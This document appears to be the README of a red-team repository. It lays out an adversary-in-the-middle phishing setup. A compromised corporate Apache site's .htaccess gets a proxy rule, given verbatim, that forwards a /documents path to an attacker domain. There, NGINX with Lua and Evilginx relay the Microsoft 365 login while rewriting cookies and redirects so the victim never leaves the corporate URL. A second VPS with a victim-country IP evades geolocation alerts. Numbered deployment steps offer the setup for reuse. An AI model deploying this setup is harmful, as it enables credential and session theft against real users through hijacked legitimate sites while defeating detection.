During a red-team engagement the only initially discovered weakness was a SQL injection vulnerability on a public-facing site of the target, hosted at https://corp.com. This was a classic static website completely separated from the internal corporate network, so even after escalating the SQL injection to remote command execution (RCE) on the Apache host there was:
- No direct access to internal assets
- No in-scope sensitive data in the web application database
- No interesting lateral-movement paths from that server
Instead of discarding this foothold, it was repurposed as infrastructure for an advanced phishing scenario.
The idea was:
- Use the RCE to edit the Apache
.htaccessfile of the compromised virtual host. - Transparently proxy a controlled path, for example
https://corp.com/documents/*, to an attacker domain,http://fake-corp-intranet.com/. - On
fake-corp-intranet.comrun an NGINX reverse proxy that:- Terminates TLS for the attacker domain
- Proxies the Microsoft 365 / Azure AD login flow to Evilginx
- Carefully rewrites headers, cookies and redirects so that the browser always appears to talk to
https://corp.com/documents/...
From the victim point of view the browser:
- Navigates to a seemingly legitimate
corp.comURL (for example a “documents portal”). - Stays under the
corp.comorigin for the entire authentication flow. - Never sees the attacker-controlled
fake-corp-intranet.comor the phishing host.
This repository contains a cleaned and generalised version of the configuration used during that engagement, intended for similar scenarios where operators have the ability to edit the Apache .htaccess file.
The following diagram summarises the setup:
-
corp.com (Apache)
-
Legitimate corporate static site.
-
Already compromised through SQL injection leading to RCE.
-
.htaccessis modified only by adding the followingmod_rewriterule, which proxieshttps://corp.com/documents/*tohttp://fake-corp-intranet.com/documents/*usingmod_rewriteandmod_proxy:RewriteRule ^documents(.*)$ http://fake-corp-intranet.com/documents$1 [P]
-
The URL in the browser remains
https://corp.com/....
-
-
fake-corp-intranet.com (NGINX reverse proxy, attacker VPS 1)
- Public attacker VPS running NGINX with Lua support and Evilginx.
- Receives traffic from
corp.comonly for the/documents/path. - Forwards the Office 365 / Azure AD authentication flow to Evilginx running on the same VPS.
- Evilginx is configured to relay outbound traffic through a second attacker VPS (VPS 2) with an Italian IP, in order to avoid suspicious logins originating from abroad.
- Rewrites:
Locationheaders that would redirect the victim to Microsoft or the attacker domain,- Cookies (domain and path),
- Absolute URLs in the HTML/JS body, so that the browser always stays on
https://corp.com/documents/....
-
Attacker VPS 2 (egress / country-local IP)
- Provides an Italian public IP used by Evilginx on VPS 1 as outbound egress towards
login.microsoftonline.com. - Only Evilginx/NGINX communicate with it. This helps make the Microsoft 365 login appear as originating from the victim’s country, reducing geo-location anomalies.
- Provides an Italian public IP used by Evilginx on VPS 1 as outbound egress towards
In short, the compromised corp.com site is used as a stealth entry point to an otherwise stand‑alone phishing infrastructure.
Building on the architecture above, requires configuring only two components: Apache on corp.com and NGINX (plus Evilginx) on fake-corp-intranet.com.
-
Apache (
corp.com)- Ensure
mod_rewriteandmod_proxyare enabled on the compromised Apache host. - Add the
.htaccessrule shown above so thathttps://corp.com/documents/*is proxied tohttp://fake-corp-intranet.com/documents/*. - Verify that:
https://corp.com/behaves as usual- Visiting
https://corp.com/documents/transparently forwards traffic tofake-corp-intranet.comwhile the browser still showscorp.com.
- Ensure
-
NGINX + Evilginx (
fake-corp-intranet.com)- Install NGINX with Lua support:
- Full step-by-step guide in docs/building-nginx-with-lua.md
- Use
nginx/nginx.confas the base NGINX configuration - Deploy
nginx/fake-corp-intranet.confunder yoursites-enabled.- A detailed, line-by-line explanation of this file is in docs/nginx-reverse-proxy-configuration.md.
- Configure DNS so
fake-corp-intranet.compoints to the NGINX VPS, and the Evilginx hostname (for examplelogin.fake-corp-intranet.com) resolves as required by your Evilginx setup. - Configure Evilginx to send its outbound traffic through a second attacker VPS with an Italian IP address, so that Microsoft sees the login as originating from the victim’s country and not from abroad.
- Restart NGINX and validate that requests to
https://corp.com/documents/...stay oncorp.comwhile the O365 authentication flow is correctly proxied through Evilginx to Microsoft.
- Install NGINX with Lua support:
